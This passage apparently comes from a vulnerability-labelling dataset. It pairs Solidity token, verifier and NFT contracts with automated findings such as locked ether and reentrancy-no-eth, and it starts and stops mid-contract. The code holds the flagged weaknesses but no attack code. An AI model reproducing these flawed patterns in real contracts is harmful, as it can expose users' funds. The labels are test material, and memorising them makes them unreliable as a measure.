balances[0xc360d4BA6C919bB9C500C49795cA5b4fc31c545b] = _totalSupply;
Transfer(address(0), 0xc360d4BA6C919bB9C500C49795cA5b4fc31c545b, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity 0.4.18;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract IController is Pausable {
event SetContractInfo(bytes32 id, address contractAddress, bytes20 gitCommitHash);
function setContractInfo(bytes32 _id, address _contractAddress, bytes20 _gitCommitHash) external;
function updateController(bytes32 _id, address _controller) external;
function getContract(bytes32 _id) public view returns (address);
}
contract IManager {
event SetController(address controller);
event ParameterUpdate(string param);
function setController(address _controller) external;
}
contract Manager is IManager {
// Controller that contract is registered with
IController public controller;
// Check if sender is controller
modifier onlyController() {
require(msg.sender == address(controller));
_;
}
// Check if sender is controller owner
modifier onlyControllerOwner() {
require(msg.sender == controller.owner());
_;
}
// Check if controller is not paused
modifier whenSystemNotPaused() {
require(!controller.paused());
_;
}
// Check if controller is paused
modifier whenSystemPaused() {
require(controller.paused());
_;
}
function Manager(address _controller) public {
controller = IController(_controller);
}
/*
* @dev Set controller. Only callable by current controller
* @param _controller Controller contract address
*/
function setController(address _controller) external onlyController {
controller = IController(_controller);
SetController(_controller);
}
}
/**
* @title Interface for a Verifier. Can be backed by any implementaiton including oracles or Truebit
*/
contract IVerifier {
function verify(
uint256 _jobId,
uint256 _claimId,
uint256 _segmentNumber,
string _transcodingOptions,
string _dataStorageHash,
bytes32[2] _dataHashes
)
external
payable;
function getPrice() public view returns (uint256);
}
/*
* @title Interface for contract that receives verification results
*/
contract IVerifiable {
// External functions
function receiveVerification(uint256 _jobId, uint256 _claimId, uint256 _segmentNumber, bool _result) external;
}
/**
* @title LivepeerVerifier
* @dev Manages transcoding verification requests that are processed by a trusted solver
*/
contract LivepeerVerifier is Manager, IVerifier {
// IPFS hash of verification computation archive
string public verificationCodeHash;
// Solver that can submit results for requests
address public solver;
struct Request {
uint256 jobId;
uint256 claimId;
uint256 segmentNumber;
bytes32 commitHash;
}
mapping (uint256 => Request) public requests;
uint256 public requestCount;
event VerifyRequest(uint256 indexed requestId, uint256 indexed jobId, uint256 indexed claimId, uint256 segmentNumber, string transcodingOptions, string dataStorageHash, bytes32 dataHash, bytes32 transcodedDataHash);
event Callback(uint256 indexed requestId, uint256 indexed jobId, uint256 indexed claimId, uint256 segmentNumber, bool result);
event SolverUpdate(address solver);
// Check if sender is JobsManager
modifier onlyJobsManager() {
require(msg.sender == controller.getContract(keccak256("JobsManager")));
_;
}
// Check if sender is a solver
modifier onlySolver() {
require(msg.sender == solver);
_;
}
/**
* @dev LivepeerVerifier constructor
* @param _controller Controller address
* @param _solver Solver address to register
* @param _verificationCodeHash Content addressed hash specifying location of transcoding verification code
*/
function LivepeerVerifier(address _controller, address _solver, string _verificationCodeHash) public Manager(_controller) {
// Solver must not be null address
require(_solver != address(0));
// Set solver
solver = _solver;
// Set verification code hash
verificationCodeHash = _verificationCodeHash;
}
/**
* @dev Set content addressed hash specifying location of transcoding verification code. Only callable by Controller owner
* @param _verificationCodeHash Content addressed hash specifying location of transcoding verification code
*/
function setVerificationCodeHash(string _verificationCodeHash) external onlyControllerOwner {
verificationCodeHash = _verificationCodeHash;
}
/**
* @dev Set registered solver address that is allowed to submit the result of transcoding verification computation
* via `__callback()`. Only callable by Controller owner
* @param _solver Solver address to register
*/
function setSolver(address _solver) external onlyControllerOwner {
// Must not be null address
require(_solver != address(0));
solver = _solver;
SolverUpdate(_solver);
}
/**
* @dev Fire VerifyRequest event which solvers should listen for to retrieve verification parameters
*/
function verify(
uint256 _jobId,
uint256 _claimId,
uint256 _segmentNumber,
string _transcodingOptions,
string _dataStorageHash,
bytes32[2] _dataHashes
)
external
payable
onlyJobsManager
whenSystemNotPaused
{
// Store request parameters
requests[requestCount].jobId = _jobId;
requests[requestCount].claimId = _claimId;
requests[requestCount].segmentNumber = _segmentNumber;
requests[requestCount].commitHash = keccak256(_dataHashes[0], _dataHashes[1]);
VerifyRequest(
requestCount,
_jobId,
_claimId,
_segmentNumber,
_transcodingOptions,
_dataStorageHash,
_dataHashes[0],
_dataHashes[1]
);
// Update request count
requestCount++;
}
/**
* @dev Callback function invoked by a solver to submit the result of a verification computation
* @param _requestId Request identifier
* @param _result Result of verification computation - keccak256 hash of transcoded segment data
*/
// solium-disable-next-line mixedcase
function __callback(uint256 _requestId, bytes32 _result) external onlySolver whenSystemNotPaused {
Request memory q = requests[_requestId];
// Check if transcoded data hash returned by solver matches originally submitted transcoded data hash
if (q.commitHash == _result) {
IVerifiable(controller.getContract(keccak256("JobsManager"))).receiveVerification(q.jobId, q.claimId, q.segmentNumber, true);
Callback(_requestId, q.jobId, q.claimId, q.segmentNumber, true);
} else {
IVerifiable(controller.getContract(keccak256("JobsManager"))).receiveVerification(q.jobId, q.claimId, q.segmentNumber, false);
Callback(_requestId, q.jobId, q.claimId, q.segmentNumber, false);
}
// Remove request
delete requests[_requestId];
}
/**
* @dev Return price of verification which is zero for this implementation
*/
function getPrice() public view returns (uint256) {
return 0;
}
} | These are the vulnerabilities found
1) reentrancy-no-eth with Medium impact
2) locked-ether with Medium impact |
pragma solidity 0.4.18;
contract Ownable {
address public owner;
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
function Pausable() public {}
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused {
require(paused);
_;
}
function pause() public onlyOwner whenNotPaused returns (bool) {
paused = true;
Pause();
return true;
}
function unpause() public onlyOwner whenPaused returns (bool) {
paused = false;
Unpause();
return true;
}
}
contract SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Changepro is Pausable, SafeMath {
uint256 public totalSupply;
mapping(address => uint) public balances;
mapping (address => mapping (address => uint)) public allowed;
string public constant name = "ChangePro";
string public constant symbol = "CPRO";
uint8 public constant decimals = 8;
// coinmx properties
bool public mintingFinished = false;
uint256 public constant MINTING_LIMIT = 50000000 * 100000000;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Mint(address indexed to, uint256 amount);
event MintFinished();
function Changepro() public {}
function() public payable {
revert();
}
function balanceOf(address _owner) public constant returns (uint256) {
return balances[_owner];
}
function transfer(address _to, uint _value) public whenNotPaused returns (bool) {
balances[msg.sender] = sub(balances[msg.sender], _value);
balances[_to] = add(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint _value) public whenNotPaused returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = add(balances[_to], _value);
balances[_from] = sub(balances[_from], _value);
allowed[_from][msg.sender] = sub(_allowance, _value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public whenNotPaused returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256) {
return allowed[_owner][_spender];
}
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) public onlyOwner canMint returns (bool) {
totalSupply = add(totalSupply, _amount);
require(totalSupply <= MINTING_LIMIT);
balances[_to] = add(balances[_to], _amount);
Mint(_to, _amount);
return true;
}
function finishMinting() public onlyOwner returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
contract IndiscreetUnits is ERC721, Ownable {
uint16 private _tokenTokenIdMax = 266;
string private _baseURIValue = "ipfs://QmW4NoKzKDJPN4apEhEAFGgyyGJdit9UwDrutNbf6PPxav/";
uint256 private _price = 0.1 ether;
uint16 private _maxTokensPerWallet = 3;
bool private _paused = true;
constructor() ERC721("Indiscreet Units", "IU") {}
function setTokenIdMax(uint16 newTokenIdMax) external onlyOwner {
_tokenTokenIdMax = newTokenIdMax;
}
function setMaxTokensPerWallet(uint16 newMaxTokensPerWallet) external onlyOwner {
_maxTokensPerWallet = newMaxTokensPerWallet;
}
function setPaused(bool newPaused) external onlyOwner {
_paused = newPaused;
}
function mint(address recipient, uint16 tokenId)
external
payable
{
require(!_paused, "Contract not activated yet");
require(balanceOf(recipient) < _maxTokensPerWallet , "Max. tokens per wallet exceeded");
require(msg.value >= _price, "You did not send enough ether");
require(tokenId <= _tokenTokenIdMax, "TokenId exceeds maximum");
_safeMint(recipient, tokenId);
}
function adminMint(address recipient, uint16 tokenId) external onlyOwner {
_safeMint(recipient, tokenId);
}
function setPrice(uint256 newPrice) external onlyOwner {
_price = newPrice;
}
function _baseURI() internal view override returns (string memory) {
return _baseURIValue;
}
function setBaseURI(string memory newBaseURI) external onlyOwner {
_baseURIValue = newBaseURI;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC721.sol";
import "./IERC721Receiver.sol";
import "./extensions/IERC721Metadata.sol";
import "../../utils/Address.sol";
import "../../utils/Context.sol";
import "../../utils/Strings.sol";
import "../../utils/introspection/ERC165.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
